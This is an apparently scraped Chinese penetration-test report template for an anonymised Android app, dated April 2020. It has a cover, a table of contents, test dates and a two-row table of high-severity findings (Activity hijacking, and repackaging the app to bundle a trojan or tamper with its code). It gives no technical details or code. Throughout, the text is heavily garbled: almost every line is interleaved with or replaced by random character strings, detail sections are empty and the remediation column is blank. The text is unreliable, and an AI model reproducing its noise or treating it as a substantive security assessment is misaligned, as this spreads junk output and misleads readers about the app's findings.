0 I! n% u3 j/ O2 X ^- S, P: e/ q
1 k: b- U! g' y" [! j1 E
- Z: _8 `. q, H8 [* f0 a6 N4 ?: t4 j# ^ z) M( x
3 ? i. C _5 y' X3 e
/ C! G, o9 X. N5 \ I6 D/ `9 o1 i* f6 e' _
- P& T5 `' C1 G! t4 N/ D! b; d
% _% F! d1 c9 E ' o. Y% Z1 k; ?: }! i) b
; F7 o: n+ m- ]3 h3 Y! }9 O
( ^3 k9 p" ]0 v0 Z7 d' r# g! I- b, I( F
文档编号:
7 j7 [' D/ [( Q' F
7 ?- `, x$ Q4 @
! w1 v3 L4 e2 ?
# t( P6 i' \9 G! }' j
! P- _1 \* w+ a! k
+ C4 {& ` {2 R. c
; b& G7 o3 o- j: w5 v! B8 t
1 r# a4 I _2 P5 H
9 [. j8 w4 ^7 h# P% J5 ~- h
. x# o' W, L4 T( f+ ^! z
4 Y6 ^( i! A' W% W
, a/ V* S: o' b' o9 L I X
$ J* z% N( ]% l8 X" u( P; o6 S5 e! n8 Q
3 l/ V, p1 }# ~9 g3 d
" a- v" T7 ]4 a6 X( a2 E! U
& k$ B& c; ]0 ~) d4 _( F, ]/ F( v
! y0 M* Y4 C7 \$ X! ? K/ J2 O: q F7 D- Q5 r
2 s/ Q( L- K& D7 \& b+ p
* P1 }8 k* S$ _0 M( q % _ |+ t3 |" R G
- l$ i( D; g4 |) d7 w0 S ) M9 [/ z2 C1 F, g" }# k+ h! b
' \! ~7 K% s/ a) n1 o _" V
2 e3 w: I6 M$ X) r2 t7 w: w
0 O5 p) h1 r6 g- [' h
* b. }" u0 u% E* i$ C: M" d
0 T5 v5 m# Z# a4 R9 n, h* s & ~- l; t$ J$ ~$ C3 k5 Z3 ?6 _- I
7 r2 k3 O! K! ?' P! N3 }
8 _6 q, ^+ a' s9 g& h% I: o
6 B/ L$ N& P0 D7 s ( z! A+ |3 {3 g1 z2 Y" ?7 \
9 i& M8 I7 ~% [
某某某APP渗透测试 4 N" }/ X/ D' |6 }& n
+ w `( e; M, C7 m, X- ~
6 L- o+ i$ e4 ]0 \# N. f
0 N3 \/ m) o% W* M. M& [0 Q
3 @9 ~" e+ M( E5 f
; C' V [) G' e3 I
; Y7 r5 X0 _# G* n# z' A& _3 ]/ d$ x, `, ^
% Q# |3 S/ r, L. X- S/ W5 h9 F3 d8 h7 M" y; o& l
: _ @: l" R8 d% Z/ C" w- A( s# [
) r/ a0 @' R; {" F p
0 Q& [* D9 F4 L- ~+ k, n9 i( P P" d5 W1 I
0 U' a: B: B; Q5 k2 L& f. Q
6 x5 h3 H/ c; `! g& k; A4 }: K5 [
6 n2 O J; O* y# z+ Y7 w* V0 m: X1 B8 p* j7 Y
* a0 @: I! n% p) l; \
! ^; `, Z4 _" d4 Q# `2 o" A2 h" h
) ~1 r- i; u( l9 d. Y9 s) W6 m) i
# u8 a8 u V. P* y . b1 T( h. K+ {# {( ~& ]
0 `/ ~& ^: q/ f% p) i, | / T) S7 S v U
# E4 N" C0 w. x; @6 n$ {
9 `0 O Y* I4 X$ x% F
. X' Z! [1 c9 F$ @ 8 A8 z9 Y- Q: A! e3 S5 g, d0 @
4 {: y/ P* t3 } t' o
技 术 报 告
! P% i8 U; B7 s1 u c6 ]5 d: f2 i& c6 i2 x
2 t# J0 o s& f' L, i
9 X! u. C/ {9 f. x/ b0 [
/ r! Q5 k6 x% T. Q' c
) ]( ]6 G$ t) Z9 j' [! X( t
6 K7 \4 B" D5 W$ ~/ U) g2 `$ }7 s" W
6 Q+ V* h, @$ x( Y7 m5 s0 P( v7 n5 T! y3 R& t; E! F
+ Y& c, b* ?: f( a b7 ~! s- K
6 c' O' S2 I( }% H( j
5 } w1 S @4 p1 r E1 e
m% S/ h; h" c1 O
0 i8 U, R$ y3 y- a7 a4 K& Y _. U: }5 F! y
; [; Y7 ?* e6 V
; b. } c+ C* @: b0 d. V/ \( _ 3 d O* _% _& k9 F( K* s
0 y+ y5 G) }0 ^8 y* I. P4 i
2 d6 W8 n1 i5 @' W( R# Z9 l8 l, c
7 F) f2 q( b4 v- M5 G2 K3 `
4 O, k' K& _$ [( H6 E0 ~* f7 U, i0 D2 O* z. f
7 D ~# o. q* T% E. R/ @( ^
5 v0 B/ K; D% T( ~9 O- i2 }9 Z
+ z" q" k. S, r0 w1 A( O8 L" g1 q9 j" t5 J% a
$ q' k7 ]) A o6 E( K
! D5 ]" Q* f4 p" r. _1 w
7 E+ _) G- d5 d5 Y4 p
$ N$ d6 V4 R: P( l
0 O& s. U4 N1 d5 K5 j. I7 B5 d3 F% ?, q! w6 H6 t1 h
: P' h3 ?; n( ^" H. L2 n0 s2 t, ^! @! R: P
0 @& O3 P, Z& W# d+ h* t
& Z: F5 u, L( a2 e# [
. [, J+ V* z9 N, t& z
0 ?: T$ j9 f }5 b( b
7 v D5 [) I, ^# P
8 Y, b+ p5 w5 l+ g7 K3 K
! {. y$ f: ]8 h" D& C' H6 I1 J" a( d. s8 U
6 H* a/ V& h$ ^% H) V7 B0 R9 |
4 ] C+ q* W+ l. X
& r0 `3 A* R$ t5 e& O
5 K; V, `# ~* I% S" K& e# I
6 h3 q4 _: l ]! v. s2 f2 `8 B
5 d0 L% ?0 n& l
# S) ^5 h8 m+ i) L! y* i& z9 v7 U: Q% o1 |$ a
$ O. I+ Y7 r* P8 x
- H0 D2 A4 U4 ]0 O! E 2 {* K% y( x8 }5 P3 D
$ \% l! P, Z' I* ^7 ~4 d( p+ w9 S7 j
0 _( A+ r' F: d7 @8 A, H
% }8 T+ z& c6 ^& q3 Z
4 u8 @6 y$ ]9 o9 B
; X/ m5 H9 I$ ]. t% D5 W$ ^ E
( ~2 U( u7 Z* E2 Q. ] e* D0 s
+ E4 D. I) L* m5 n
2 k# s ^+ R- l
3 Y# F# r( a$ _ - _+ u. F3 r; e Z; t% @+ h
" s7 A: Q& [5 o* R3 y& X3 b( z
' k1 C& c6 J, ]. F! ?, a9 m
( X# [! b! F* I, _ L6 _+ y
/ M, [( E3 O) x5 V
0 b# E3 x2 E* n7 B, e
w% i9 g) M* G: J6 W% B* Q& l- d+ ^# a7 H
: \! E! k' U" Z9 ?! o# x. m- i% ~
& f# Q5 B6 ? \2 ^2 E
/ P @ D1 y) t% T/ q' s6 Q% M$ O9 y8 b8 A/ J2 g/ ?
1 J3 A8 D, Z' p+ f+ e7 g
9 f$ v( i$ S) b* i" p
. }& D$ U( x! w) `1 P3 i* y& k9 e: B
8 g* a1 D' E, {3 o9 I$ n0 J+ W6 ]7 r; g8 R) s: C
7 \/ l' a5 S* P1 q! v$ C
: y1 z# j5 s2 |7 k5 _
7 ^. Y7 _& z9 d
9 C4 w' q7 d/ g. f3 d. R" M* D
/ i# Q/ Z2 m* D& I. X
/ v8 y( I, r8 B' Y: _+ W% m
( S. b1 E0 M9 K1 r! H
- J- ]' u. M8 q! K) ~) U
5 q) u( n- M5 |3 y% x& k d
# k- o9 J% U4 v
- D+ m8 m w# Z/ }+ C
& z+ e3 n4 a' ^9 ]
8 h5 |. @1 c+ c+ d4 \( c0 S3 ~: k1 j9 v
5 V* N8 B h+ O6 U- Q6 r
8 O7 f" D" r3 i- P7 _* S% d( G
$ z8 r2 v, b1 }( Z$ j% B. F
( a* l& ^' C. y" @5 Q 3 P8 ]# Z3 p# q8 J
& e! {" b- b% V) |( H! U9 H5 K7 ~
3 L4 }* A- ?% g3 a) n/ L8 T
3 w/ X6 m: {! X0 v7 f2 J$ K
- ?& n# _- y$ f \) j
% [6 J o- D b9 n7 p" Q
$ u) a/ r. y. H0 r" j$ {- V; O: P
. @6 {, [6 }$ `/ Z8 _! T0 l
! a3 S1 k" ?. K3 L2 B/ |# |- y
( a' |) b/ D8 j h. c* r
- ?6 x& g J' t1 `* r6 Y" q( X# B % c- L6 u) {: E* } B6 R3 B
$ j: \! ]0 b* i E( M3 } ?; X+ o 二〇二〇年
$ k7 T( N" U4 U# Y! q v
4 n) a9 ?& D2 m5 Q* J
6 |0 W2 Q7 L, l' `+ k
# J6 [( a) [9 X' H: m5 p
1 F( R+ \% j' ~
7 ?: o( w; A) X, W! s# @2 x8 Z- ]8 Z
# N. b+ _" u9 f }6 ?
" N% `/ s/ o4 M# G9 v; |
' E! i+ h5 ^- f8 Y+ R' ^. i, G( L( a8 ]- [% ~
7 v0 T) e/ ]7 E9 f* V2 c
5 J% T/ G4 o/ S {1 H& |
! V1 Y' Q3 ~% d# K# u' Y# W
$ O& Y! T( x0 _0 t* Q$ B
9 l1 V6 U, A' O& `
( e! A9 ?- V" Y2 {0 Z7 f6 L( O 7 h" f# C/ A( N: D
! F4 b0 `. v5 B! B3 \8 h
, E/ B# B! K$ u- O. |( d
$ U0 d5 J; p3 I4 \3 a3 j# k$ U
% @+ u+ G% X, ]3 I8 k
. t' U7 ]9 A: l; {( }! F- y; O
目 录 " r- q! _7 l6 x5 A: k
- U! x% f0 \* B H& @
- S' ]! s6 W9 I* B
# A( G7 s9 s( U$ @! ` + o; [6 Y" K# O- j& T0 I
' w- @0 e1 ]5 H4 x1 m % K1 a0 _, B: y
7 \/ a' O" d! m$ G4 r 8 J$ B, ~) ~1 l* O1 i; R! ?
0 {* @5 F. X, b+ C% m/ N1 @
7 s% L# s0 q0 r. x6 ^ `) b3 y+ Q+ D3 Q1 G3 V1 ^4 w& S% a* x# p
1 J; e* u7 [* u7 v4 [# N
5 V# v9 a2 s' H& u$ \ 1 概述... 3 ' N: H% g# O7 o( e
, S- N6 o- _3 v) @* E% N. C
/ E! E) p5 `* X! {- d; u
2 l- b7 O" d, H1 v
f' D' V$ B! z- ^" A
2 T, Z! _. w D! J: r 1.2测试时间... 3
, w1 H, @) E+ Q) N" p# L3 K P' Z: V% k/ }
5 _* A# B, k% l% ?/ a. z
! x$ Y- x) Z0 W1 ?, T) A8 m
. N1 I+ ]3 W9 s% s4 E: X5 ?( v+ R# U
1.3测试对象... 3
0 \$ ]5 {; s" ]6 u
& r, ?/ v% [# W- T ~
8 { N/ D. X0 M9 W- }! r
3 n+ F9 T3 D! A4 I# j
& A; Q. z0 j; a$ M
5 _4 {& r; }) `" |, x t 1.4测试结果... 3
2 { V1 `. P; H4 j% H
/ t7 R' c8 o/ P& ~6 k" M. l* x( t
, @! C7 @% s3 y$ p( [9 _9 g( h- U
8 ?4 w2 K1 E( n/ c; g
5 I* |+ ]' ]8 l2 I1 T* w$ N6 F/ b4 B0 a4 {
2 检测结果... 4
7 v1 \& ~6 y, X6 C, ^! A- N* s7 F5 w! B0 c. U ^2 ? y
2 V1 O4 }! r& l! s; W* w N
( ?5 y& T# Y5 {4 s4 a/ Z; x
0 s$ d# E( _5 O* N9 T7 O
, J* i- H* z u5 o 2.1 某某某... 4
1 v4 R" f/ D6 R
" q% G4 k: o: v0 h0 ^
: |. B& h4 e3 T; l$ D/ C( L/ M! V
T7 u: B8 I3 l$ P0 ?; ~# f1 C
! T9 }# g0 q7 A( U6 V
+ I* A: m Z C8 |5 s 2.1.1检测目标... 4
9 |" q' O d8 r: Z" S- `) `/ l O$ J- a+ I. t* r- K9 J
4 d5 M2 w3 y- }0 X. s3 Q
1 p8 W: t. U4 M" [+ P$ { ; W. J4 `) U* Z% e% v9 f: Q8 r
" y8 R9 R5 o1 H5 s' Y7 h. Q 2.1.2检测结果... 4
0 z% K2 A) m) N ^5 z6 J# O y6 O/ R
4 m/ V# v5 A6 i( q; A
& `/ I7 g, |" N6 s
" l3 ^7 J# G, a4 g) A6 {2 v' h
! S+ F! G4 l+ `& ?; E8 Y
& Z$ o0 b( p: ~4 T/ |6 U- { 2.1.2.1. 4
0 b& f% |9 [! M C; c9 o( h
4 c" x4 E$ x( W
4 C; d# H( V! B. I2 @
4 g8 ?; d4 Q K+ U% O6 } R % l( A: a- N2 I2 y! e* {, [
) T. y2 ?" |6 g$ { Q) n$ `5 s+ q 2.1.2.2. 6
$ e+ l' @9 c5 h; G1 v3 i# a
7 e7 E- f# q8 Z5 r% T% D
( }% D8 P( N" a+ o8 @$ y
7 d- }, t9 F8 c
1 I1 h6 \* w1 w9 D% U
4 `* L N1 }% z1 f$ S# A. D- c7 |
) h( Z, j1 R, @. L6 O/ ^# w( f0 t1 u' z2 u
! P2 E, ?) t: S6 V7 E3 S3 K( O
+ o/ i7 d3 F) L' H
. [4 Y) k6 T- ^
7 q' c0 L' u0 c3 d# m) v: c
; V+ g5 }0 b/ u
9 A' n# g' a& J
, L. w5 s( n, t Q, V$ r- y' x' l2 p# G% d) a" ^. Y
+ q+ s, R j/ x; o: F' z8 {" b9 Y" D7 m
% g5 z: u% j( b
% b8 } C# ^1 u" w. k ~ H+ @ 1 概述
. _# {; V% V# ]) W% x1 q' K
/ |9 [1 p4 G+ i' A( k1 d& N% Z
) k R/ R2 X2 p! z c* J- ^5 ]; `
: q9 K4 o1 ?( g( E
, u7 [% N+ P4 t: G. W' O2 W1 l" ^, G( F9 l9 f$ T& Y+ ]' q
1.2测试时间
& r) i8 r8 Q! x9 K$ m
5 u" s; @* N4 c" v
0 B' T2 a7 n I
. Z& m4 N3 P4 r! T0 \1 P8 P# F/ k ; v" H7 g A* ?( v5 C
2 G+ w" J' b* c! \1 p( i0 s" F
# c* F0 q' u+ E. O/ A/ J
; B) Y( {, a5 g8 f# v5 l + ~3 {3 P6 a- N; q; o- H
- f) L& T- B/ b# ]" j: s: S$ Q3 _ | ; t# S, y; c/ h- g [/ i! S
; a2 b- M+ t' U8 ~3 X. |1 v# g 8 R6 @: k0 C. B
# {" u& d `6 A6 |, N
渗透测试时间 . D% D w% {5 u) D/ L$ d4 S
4 p9 P! W4 R4 v- `/ x
! X2 P3 U0 \! c% g: G5 }& _
# G0 Y: x3 ^. R2 C3 p; ^/ }
| 1 ]8 H% N# v- b; m8 C M
: V/ t: \! c6 U; O
/ ?" M" k1 i8 y4 B- \
# k3 z3 y, a4 y8 k
5 {' ^' ` l& s+ ~: K& P/ \
3 t& g, ?$ p% n5 m5 @4 W4 g# K |
2 `. r- z! g8 U1 \/ P# y4 O; O& f+ K% P4 e
$ j% C+ \/ \) q. A% U: h& q
}& Y. p9 o5 d* S 起始时间 5 s9 V& A; l9 v/ }6 U) l
( }6 Z; @. B. l3 g5 g 4 j7 Z5 Y( I/ r$ M J1 w# {4 a) e; D
; w |1 Q' n# J+ F } x1 I |
; w) E! w4 u8 b% w$ |1 y) [- _, L2 |1 z* t' h; W O: Y
% M1 f- A& f/ l* l; |+ o
) E0 ~9 D! m. i: ? P7 \) j
* I( w; W4 A3 s) @% b8 v( T' o V4 O: [5 f3 ]# b6 O ]
2020年4月6日
8 ?- A( j1 B# x6 F+ ]$ {+ E- J( y: ^+ b2 x
6 N% r; U) F' a4 f# t( g% l/ K6 p5 Q
5 X. I8 J4 k) ^1 k% Z$ m |
3 K6 Z0 W5 Q( c5 }, V; a S- W6 r" m5 r+ E+ R) r
" ~2 c& B+ E& u( o6 ~5 }6 |
% D" v! ~( n" Y2 a9 Y' r/ k
& f+ E/ l: ~$ {' G0 Q
/ \: H+ _; a8 |/ \8 \ |
' X' Z( r! E5 V" O' F
! W+ K% k: `! t. ] W % D& U3 L6 U; `6 M+ {3 r
+ V. t* L0 f, m, u. p 结束时间
& [4 i: D7 d: g* |- ^/ l2 z3 T+ O# q; |3 e3 l! R7 S; o
. a$ r# A9 T- s+ y6 E* p, C3 I ?- r- F1 l( z: k k3 h
| # e7 y; h( ~& G6 `
6 w( e) [/ l, _8 G$ g: Q1 v& e 9 ]& [$ S% J1 ?9 V4 w1 g5 x
. f# ]2 h# s, s. ]- N2 `
3 Z) @# h. |3 y. F5 T3 a* L( h. X3 R9 r* A) {0 }8 d
2020年4月9日 # Z/ w/ t7 Y. P7 s/ A# G
* a! d9 W0 |5 Z0 {4 ~) o' r & ]( R/ S: j" Y6 E: N
, v( M {2 \ _/ `" A
| ; B$ H3 q3 W; x/ j3 |' p( q% s
: E' W2 g- g* }8 I' L- }( @4 r1 ?
\% T! W6 }1 |+ c9 @
& K3 @- E2 H2 s' O# z ' r- w$ D6 Y* ?( V+ M
. B6 D) n" C d- C& v. I
( Z" @0 E" ]: M& i7 `
/ f; W X( I7 c5 `9 M+ }. m# z1 I x
w9 j+ U( ` M1 ?' _: r; \ O' I+ u4 w2 \& }- m& I; h0 g8 N& g
1.3测试对象 - j* ^- f/ G1 w7 g! F2 H, K
, j: s0 l. E( @: I$ y. J
+ X% E! x8 |5 @ M7 h+ m# k- d; k" }0 I- i. b
! R4 L( S8 d/ K( O9 t2 t
9 n" D( ^0 ?. }5 r9 n$ Z 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
3 |& L% [! C: g1 b4 X% v4 r
6 a B/ K3 o z
8 |& J" S$ P6 o% k! f% Y
- v- s D$ R& C5 r/ e
/ I2 Y) G2 R2 t/ ]- N B/ K: O! |
" f' m+ [% [2 Y& C! y8 ~8 m! G 表1-1 检测对象
# L! ` t" C3 }# `% w) G1 L0 _# m( z+ g8 @. }
[0 ~& t( g* b! I0 b
( J" ?' ~* S* ?! |
% P, t5 {' x1 ]# S5 F
6 x5 y( n# R1 T. [2 T% m
( Q5 A- n, t1 C m' o8 e
" Y0 N" ^" N0 S% ~' v
+ A7 s: `7 [/ A. k. M% {+ ?
. B B1 T0 O5 f3 R | ( E9 N. p. V& u) p# x5 S
0 k/ m. Q7 ] C, } 7 z7 N5 t1 P8 ?3 U
1 W" p1 B8 I8 ~; s# R: Y
序号
& f, {+ A0 M9 F, T" J9 B! I) Z6 Y! y; W8 r1 O0 V4 O
* Z! N, ], [ l' T, X9 M7 Y0 O* f( \& ~
| 7 v; n! `1 t: T, w8 f9 _5 v6 y
' T, ]% \' T! \; ?+ p( \+ N. g! S$ M
; b8 x& R1 E! G' T
- O1 |* y5 d; X4 u
% Q5 U# q1 Y" D; T' f
0 d2 U8 U9 q8 v& ~ 测试对象 7 Z2 C* v2 m6 _% W5 p
4 c2 F5 G9 w8 d* D) a: `. Z# J7 I
0 p5 w8 E: J8 ^6 c
8 [+ j" X3 ?5 o3 n9 h' c# J' c. g6 e' g |
/ |0 H0 z4 s' f& [. r. U& u5 }: S9 q" g' @* J- y# J
7 k' [* p8 H& F2 Q: ], q; V9 U: _
$ @' ~1 M8 a! L, H . d0 F' r$ q" Q" J" P# U/ O( x
& F# U8 r2 _6 \4 [1 ^$ w. G
测试地址
; W; r% j1 T3 j2 B' v2 X3 `1 s2 u( m; ^6 I. w5 G8 v
J5 y" D; b4 ]1 y6 }
8 f% h) m# J% q: d0 Z8 m- F
| 0 d+ @0 w L% k# M C) ?' d6 R) q9 A
6 E4 c) f# W2 j$ _' x! L2 H2 s
: ]7 x/ W( j! U7 r1 g
& S! Z8 M- q x0 [7 e" Y, O
/ W& I4 n0 F1 T) w
' x5 t0 P; ~5 }( S 安全漏洞
0 ~- o" G; G0 X4 j# u' @3 W/ e% O5 Z# d" O
' K- O! L* }# W# Q# U% z* N3 o2 K0 W1 q j& c
| o, t* i- o; u& n/ j$ M/ P
7 J& _! O. I! K: Y! F# {4 b* r
4 ?8 K; k" q% V! a( j% y9 f
& o! W% v/ _1 {1 c" S% p; @ 3 d, O# C2 O Q6 k' X% e- d: `5 b
8 I" g) e( i) C0 F* _# x/ H
|
$ A* ^) R8 U5 X6 U# C6 P+ y
' R: v8 ~3 D" I& K 6 T/ X+ [0 |; Q+ i s6 z) h
: N* Q" c9 V8 G/ q" y! E
1 0 a0 c1 L( O' q! v7 i' R1 M* L
. M; a3 b1 G! y x( _
5 L: ]' o; |8 Q/ C4 w+ E: d! ^7 z1 v. c1 ^
| / s( X' e/ r: Z8 p# A0 [
* n c# V9 A p# t
& `& y( T( P; g5 h
0 D5 i/ P$ p1 w' A5 Q + w* v) u0 z; U$ ~; z
) P" ?" @! ^0 u3 M
某某某安卓APP
3 `' T2 ^! d" i: _, N/ a1 }; \ S1 V S9 h$ p! v+ a
. B; J5 L5 \! `; Q) n$ F
0 D6 ^1 z( U0 X9 Z& Q | % E$ U( E( O9 d O
5 m7 v. v& z* k: W. K' r- D
0 C8 P8 e' w+ Z* q. I1 }( J
: v5 _ c2 Z3 t6 w, P
; {3 F Q- g6 M7 }$ L) X8 S' H% B( B& g. W y2 H
1 i0 p: F' |) i) R, O% D
! R5 ]3 M9 Y$ G$ J) ^
3 t; P" j$ G+ z) K- Y3 O
) }( P2 b# M8 E. G6 T2 U: X: ? | , e2 K4 r$ E4 C$ R
. Z9 p1 N3 k6 q2 T
- _) q4 \8 P- o! u& ^! ~: Y6 y
* P- \* \" q9 _' m
( l# {8 {, f$ l8 K8 u
. A/ d0 l" [7 I7 V b% c 2
& D" I6 f/ Q2 }2 {; D7 B# ]- o1 Y- A* C# F4 C+ C6 L
! W/ t! ^* o+ l8 G
% _. s- P% P9 O | ( f2 K0 g: _: f6 q/ P# l- `
2 @& j0 n% X0 R- r0 [% Q
! S* `" ^0 U3 O
1 z1 ]$ P8 x# n$ n/ [# d/ G" o
4 I& q" P3 m" j1 x: Y
" L3 q0 ~. [, m: @4 b" Y- q
% ^& ^: d4 Q. p8 Q* p) w9 [" k+ l4 S
- n7 w+ p& j0 J2 ?( J- p$ m 7 _! |( I; v1 ?" v q' T; v
1 ]( S1 Q) k0 k! V/ Y" @8 ^ 1.4测试结果
. n6 k" y6 H, `' U
5 r4 N3 ^6 R' Y- g( X" x/ I! r' X
9 q, Q# v& @6 _$ ?3 q: N9 r
/ i9 A0 X$ Z1 m1 S& B( u
& D) m/ N% q7 X' H5 x
! y t7 I' g! c: j+ r! { 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
0 t7 B& u, t, ^# E) z. V
+ ^. K5 S5 b$ q+ s8 C0 g
: z9 Y+ x- f# h. s7 u& }. f
! k) c) r0 d T1 C+ Q$ W$ L
! I" T! L0 c" }/ H
; q8 ~/ r& h. N0 s; w4 V+ Z' } 4 f; E# O: L$ Z4 Q2 ~6 [% j+ c9 T
8 C* f% F% t0 C5 o
* J3 o- M, ~0 [- y% @- n5 o
8 d3 i+ P, ~& ]
& G' E# F3 H7 O) B: S% S" L/ a2 [+ z* w! D' P
|, n& E( u0 E9 c$ L5 c. K
) a" [( i2 T7 m( t. V6 ?/ Y/ i
9 @6 p* }7 P( v3 B- O
% B( w, B7 Q% P
! U& O: n; J: u; l
7 o$ {& v! U* @1 _, g | 2 f+ P* O4 N" a1 v* T
( \! _1 w+ L0 A5 J: |9 k% k
4 k2 @0 k5 [( o) P
2 _0 q' _: ]6 [" L
序号
9 k. H' V1 W5 u* E3 V1 M, }; W# h: z3 Z6 ?2 c9 A
1 }0 j" \4 Q* X+ E1 K% T8 A7 b! [2 i% D3 G+ a/ f
| & I% @: Y o% [9 Z) K* u7 Q
, [) m* T/ t! n, [ 6 H, i# \6 a3 u8 ?1 t ] {" c/ N
& P" N' L% q% x1 U, m2 F! Z b
* B8 m* h2 ]8 g3 [0 G7 Y1 J {- I) b
系统名称
; L! }0 w) |1 c
, N* x7 e4 C, z8 r7 n/ c6 u4 X
4 S/ P6 p% y4 C+ h' y7 Y' h0 A% y% P! K1 W
| 4 V+ t, \' d0 E
2 u0 f+ M+ G+ }8 s( _
3 O& h% O& q: A; g& c! `
. P! x2 I& @9 `+ b1 R ; {* l" _6 R! g# {# J f8 a
1 |9 w: j# U m7 k" N
漏洞名称 ; h% M! Z2 C; v5 S
+ w. O% @) S {" ^( G8 ^) Z. _ 8 |+ t& |# N8 t6 C+ T
1 n" M! [4 T3 A* H7 e | + D( I3 ~3 [; [2 [8 p5 ]# y' p3 r
( [2 F9 B3 @' q/ R4 m6 M& _+ ~
9 |+ r) k# o8 O. c
|: k' B& W% k0 @5 L # u$ `8 e" T- m6 J; B7 O# p
" w5 T5 B& X7 O0 f$ f6 L
漏洞危害
5 [ \ m( ]" m( m7 V( G6 l9 @5 d4 i7 ^& e; K; J# B
1 t, _# k9 G$ Q. A0 C$ H. W( J
x. |$ m* |% I2 K8 ?- Y8 S! r | ' \; P* W- N# H" v; b2 l
4 {" R* S+ h1 l6 x4 T
1 n, T& K/ s# l+ ^$ C9 r c
: E7 j! J" v5 Q# y, m4 J 2 V2 \: e- O' h) T: ?
2 G9 q% V9 o/ z 修复结果 ) D& D: t7 S! H5 k# N1 H. `
* Q. D2 O: l1 l. S* Z" s0 r
3 `2 f0 D! e. O4 [/ \
5 _2 K6 D' G1 }" ?2 K% p2 ^4 R |
9 Q) F+ b2 S3 f7 M% U
( x% W9 o. t2 h) m# Y
6 p" }+ L+ p7 s( ~. R8 A; Z( f4 k9 |( ?4 u0 y
% G. w1 A' ]2 {3 @3 q0 g
- B- z# P2 \2 w1 b
| ; P$ e7 l( A3 `" x7 A/ p
$ x# ^0 V2 y$ o% o6 s+ P% F$ S
- D9 l' r$ p0 A; S7 d' @" w
" N& a7 N# _, D/ T2 \ 1 3 f% S0 v5 k2 T9 r; T
5 O7 T# Q5 G. l& K" v
, D) l# a/ u2 D' ~% Q+ ~8 E- p) c' y7 r
| 0 N2 w- W6 @* O3 a7 @6 ?0 c
/ ~, M# d0 k* S- U! c& p
7 ~4 M& \# z) \3 V8 Y D( N- C6 ^; ]6 h* d, x0 B3 B' a+ T; e
1 Z4 {8 G) w+ |
0 H& _' _# R) X3 M 某某某某某某APP " q4 S/ X3 p/ g( Y3 o3 F
7 J( h& G2 p4 S# Y 6 `- l) B4 x( S* q0 H
2 ^! [* k+ t" y3 K1 W3 }4 I) ]) J |
1 t7 b8 v& M2 P5 h/ F! A/ L
) x8 q+ x: H/ \. V
1 B& y1 x0 X: C8 A" s/ _$ u6 m4 z9 o8 d& K$ z0 Y
9 Y6 q/ Q" C- n% ^
* U2 T1 ]$ q" B Activity 劫持 7 I1 A, n1 a+ v
/ V- l2 _8 I9 r- D/ `) a- v + t N; ]2 a3 l2 c
, r" f5 u8 J J 8 h( s# R. ?: I+ c6 A
; J+ O" M0 E3 l" d7 v; V4 P
! z; ^! U8 s' `! f& B M* N4 P- A: }; x9 E7 u1 s
1 k2 D/ ?# G' Q: n, D% A% G/ u! a. S% k+ w$ d) o, C3 P' q
| 4 `8 L: h: Q) E0 v- N! M
4 N0 v3 t: e0 s2 S }1 S0 g1 p5 _5 z
7 T! B, B& C9 R/ f7 w* _
; c6 [" k! j0 _; i
4 G# K: C4 R6 v3 ?& A6 H
- a5 c/ _# U; a% v. V% v 高 4 l# r3 d. i8 N! T) k1 _4 f! D
! i i* e! J% O5 m5 X: F8 T
9 f% Q1 B, _ n. c' Y" u! N Z% w9 D9 f
| ; O) E( j. H y& Y9 F& O8 o3 _8 I
( s/ v% v# b2 z- @' Q! Q 5 Z7 T) `. M3 ?' W3 Y3 R
* v3 @) v' c( p' q" d) F, e
1 a( P, y1 a0 w4 a
/ v# \: ^$ O9 y5 f; N. s
4 C; J B: i& Y$ C( G" I$ S7 E, @
3 y8 X, N2 g. o4 s% l
* @6 J2 r+ H( B1 o. c3 N+ {% l; _& _/ F8 R6 u' r9 w# H) P0 t2 q
| - P/ j l, x8 i# e/ m7 N$ s/ T
$ l! J, {' P/ x% ^
2 Z; x H9 X* ], E
) ?1 w, f& d8 `6 [9 B7 ^! H % }/ G* q' ?+ N
/ v+ x( l. I! u8 P6 I8 u
| % m. `: `) \; g1 O1 d' z+ t9 d+ o! h: c
0 D- z% B4 M7 }% e; c* z 9 u T# W. k8 T1 q( ]
- e% ?, N8 ~ t$ q* z 2
. Y( F- a8 l& k! R! @! U. V
- G; J4 z, g8 `, s) j0 m + J) A- V o2 ~9 ]6 b
1 X N1 E( Q4 j" o0 \2 O |
3 P8 @) S2 q( ~$ t, I2 v8 Z( {- Q
/ d, v# e- h' k, _- b% u/ w
1 W: ~# x' d4 T5 T
, L3 ]5 X y" N
3 l8 j7 ^+ Q. `, D5 i 某某某某某某APP
; w- F7 ?2 W* L& i' N, E% r$ q5 i3 J. C0 F! W' @
( _+ d* Q3 |: q E! ?9 |+ ?0 }5 t/ {0 [" Y
|
4 Z( {/ n1 h; S3 S3 J4 S
W$ \3 W- o. G8 Q
% W+ e5 r4 ]: F' ]6 j/ Y- q9 k
! Y7 w# I( M& @" b) V" P% X) Q 3 x% k% B" l j$ B1 W* N- H% f. ?
( b, G4 q+ J# R6 [/ V1 ^
反编译二次打包捆绑木马、篡改APP代码 1 T: r7 F/ n- z# t
& }8 k h' u0 A3 W1 x1 E
9 O) M5 y+ u9 E4 k7 w
0 s( ^6 b+ l7 G$ |, q3 n, C: l
|
; i( j9 Y2 G+ n9 Q0 ~. V9 ~7 o8 [; E4 n- c! q
7 S1 H5 c/ P9 i$ f9 c3 W" W5 y' P n8 I" g( U$ r E( A
- O/ ]& _/ W, a
9 I' c; w- [6 V, x" k" O 高 3 u" J8 e/ k B u7 G
: n% E) X, {- |% _: z2 P$ ~/ A
& a4 A4 Z. Y# v4 F
) ?* F" p3 `( N$ t* `0 M6 `6 Z. c
| 7 M3 P) [) H- x1 S& ^
( j) h/ w+ |! Y 0 z9 m6 j K- J; \* }* }
% V6 t6 E' x5 @4 p- G- K* m
0 S+ y, j. }' Q7 T. T$ Y3 G& p$ V0 A0 l% s( g6 ~
: E P8 k. V: S! L7 ?7 ^) ~
, y7 @6 M" C& s6 j6 V8 _
" P! y# }. t+ W3 X9 P& X* A8 ]9 I4 e
- u& O [3 R" {: U5 u- G4 @ |
- e: _2 ^# D ~9 _# L& p- Z- S2 Z* x _' D2 E
7 q! U) K$ C9 P, c7 b+ x: C% |+ L- g- ^( z* s
# ~7 x5 w$ T' p" G2 \7 G u" B7 |- W; [3 w5 s
$ J; x; v, [- T) w( `8 \ I
0 f. t, O+ k% v) W
/ G7 T7 G4 J1 M) h
8 x& k( x# a7 h" C. z
